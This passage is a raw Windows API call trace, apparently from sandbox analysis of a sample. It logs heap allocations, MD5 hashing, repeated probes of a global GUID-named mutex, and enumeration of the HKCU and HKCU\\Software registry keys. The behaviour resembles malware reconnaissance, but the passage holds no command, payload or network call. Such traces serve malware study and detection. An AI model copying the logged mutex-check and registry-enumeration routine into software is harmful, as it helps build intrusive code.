0x0 [0229.615] LocalFree (hMem=0x51d030) returned 0x0 [0229.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21890f0 [0229.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2182850 [0229.615] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.615] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.615] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0229.617] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2182850) returned 1 [0229.617] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51d030, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0229.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.617] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="") returned 0x124 [0229.617] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.617] GetLastError () returned 0x0 [0229.617] LocalFree (hMem=0x51d030) returned 0x0 [0229.617] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.617] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x526610) returned 1 [0229.618] CryptCreateHash (in: hProv=0x526610, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0229.618] CryptHashData (hHash=0x526598, pbData=0x35c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0229.618] CryptGetHashParam (in: hHash=0x526598, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0229.618] CryptGetHashParam (in: hHash=0x526598, dwParam=0x2, pbData=0x2189138, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x2189138, pdwDataLen=0x18fc34) returned 1 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189180 [0229.618] CryptDestroyHash (hHash=0x526598) returned 1 [0229.618] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21891c8 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189180) returned 1 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189180 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21891c8 [0229.618] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0229.618] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.618] GetLastError () returned 0x5 [0229.618] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21891c8 [0229.619] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0229.619] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.619] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21891c8 [0229.619] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0229.619] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.619] ReleaseMutex (hMutex=0x0) returned 0 [0229.619] GetLastError () returned 0x6 [0229.619] SetEvent (hEvent=0x120) returned 1 [0229.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x800) returned 0x2182850 [0229.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x21891c8 [0229.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x280) returned 0x2183058 [0229.620] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0229.624] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0229.624] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.624] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x2189138, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0229.624] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.624] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.624] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.624] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.624] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x2183058, cchName=0x104 | out: lpName="Console") returned 0x0 [0229.624] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x2189210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.625] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x2183058, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x2189138, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.625] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x2183058, cchName=0x104 | out: lpName="Environment") returned 0x0 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x2189210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.625] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x2183058, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x2189138, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0229.625] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.625] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.625] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x2183058, cchName=0x104 | out: lpName="Identities") returned 0x0 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.626] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x2183058, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x2189138, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.626] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x2183058, cchName=0x104 | out: lpName="Network") returned 0x0 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x2189210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.626] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.626] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x2183058, cchName=0x104 | out: lpName="Printers") returned 0x0 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.626] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x2189138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.627] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x2183058, cchName=0x104 | out: lpName="Software") returned 0x0 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x2189210, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x154) returned 0x0 [0229.627] RegCloseKey (hKey=0x80000001) returned 0x0 [0229.627] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x2189138, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.627] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.627] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2183058, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.627] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.628] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2183058, cchName=0x104 | out: lpName="Clients") returned 0x0 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x2189138, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.628] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2183058, cchName=0x104 | out: lpName="Google") returned 0x0 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x2189210, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.628] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2183058, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x2189138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0229.628] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.628] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.628] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2183058, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0229.629] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.629] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x2189210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0229.752] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.752] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.752] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.752] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.752] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2183058, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0229.752] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e8c8 [0229.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.753] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189138 [0229.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x2189138, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0229.753] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189210 [0229.753] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.757] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.757] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.757] RegOpenKeyExW (in: hKey=0x154, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x150) returned 0x0 [0229.757] RegCloseKey (hKey=0x154) returned 0x0 [0229.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2183058, cchName=0x104 | out: 